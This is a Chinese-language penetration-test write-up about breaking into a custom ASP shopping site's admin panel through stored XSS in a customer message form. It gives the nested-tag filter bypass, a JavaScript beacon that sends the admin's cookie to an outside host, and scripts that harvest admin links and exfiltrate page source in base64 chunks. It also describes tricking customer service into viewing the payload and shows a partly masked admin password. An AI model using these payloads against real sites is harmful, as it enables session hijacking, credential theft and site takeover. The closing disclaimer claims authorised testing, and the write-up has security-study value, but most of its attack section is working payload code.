现在注入越来越少了,于是XSS入侵开始成为热门的手法了,记录一个XSS手法CRSF渗透测试入侵的实例,朋友接了一个购物商城的渗透测试单子,让我帮忙一起看看,独立服务器,用的老旧的ASP语言的程序,不是主流的CMS系统或者购物系统,我想应该是自己开发的吧。
ASP的漏洞就那么几个,没有啥注入点,所有id都是经过cint处理过的,网站找不到后台。服务器的C段也没有几个网站。想渗透测试也不好下手。悲剧的,我转了一圈又一圈,也没啥突破口。怪不得叫我看看。重新回到网站。随手注册了个账户,发现可以给管理员留言。看来只有XSS这一条路了。这个留言可以自己查看,修改,删除。这样测试XSS就不怕管理员发现了。
开始测试xss。发现script替换成了空反复测试了下发现sscriptcript/sscriptcript替换成为script/script是支持的。于是写了js丢自己空间里面。1.js的内容如下,网址我用我的BLOG替代了:
img=newImage(); img.src=网址
给管理员发表留言。
“我下不了订单sscriptcriptsrc=网址/sscriptcript”
等了半天没有cookie上钩,于是我直接找到客服系统跟她说:“我下不了单你去看看,我给你留言了。”然后关闭客服系统。这下没两分钟,cookie来了!
顺利得到后台的地址为Xxaaddmmiinn21012,这谁知道哦。管他了。先进后台再说。
悲剧的是就是进不去。此路不通,得换个思路,既然可以XSS,那要不然,CRSF加入一个管理员进去。可这程序有不开源,想CRSF也得知道后台的结构啊。那先得想办法获得他网站后台的所有链接。于是修改脚本为:
window.onload=function(){ img=newImage(); a=document.getElementsByTagName(A);varb=; if(a.length40){ {b+=a[i].href}; }else { for(i=0;i40;i++)//这里主要是因为get数据不能太多..不然get不了.. {b+=a[i].href}; } img.src=网址cookie=+escape(document.cookie)+-----+escape( window.location.href)+----+escape(top.location.href)+---+escape(b); img.width=0; img.height=0; }
经过漫长的XSS,这样,获取了不少的链接。发现有一个可疑连接为adminlist.asp,通过英文名字,就知道,这个管理员列表的意思,修改XSS代码来获取adminlist.asp的页面源代码。
结果页面太大,不行!get提交数据太多了。
思考了好久。开始想获取一部分,然后在做判断获取另一部分,把他源代码分段get过来,这里就遇到一个问题。如何分段处理,想了好久。决定把代码加密为base64然后分段传输过来,然后在组装成一个源代码透露部分核心代码。代码写的仓储没做算法思考,别见笑。
varnewfun=newBase64; var html=newfun.encode(geturlcode(网址)); varsss=html; varmax=sss.length/500; vara=newArray(); varm=0; for(i=0;i=max;i++)//把代码转换为500个字节为一组 { m+=500; } varurl=网址/file.php?id=; for(j=0;j=max;j++)//全部get回来. { varmsg=msg=+a[j]; img=newImage(); varsst=url+j+&msg=+a[j]; img.src=sst; img.width=0;img.height=0; } 最后在file.txt里面获取到了 1msg=xxxxxxxx 2msg=xxxxxx 4msg=xxxxxxxxx 5msg=xxxxxxxx 3msg=xxxxxx
这样的base64数据。Id不是序列的主要是因为异步传输有些快有些慢。不过总算是获取回来了。
base64解密整理了下。看来老天眷顾,发现帐号密码。tmd还好不是md5加密的。
Adminshopsexad123****456g**!@#$
接下来,后台登陆成功,
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。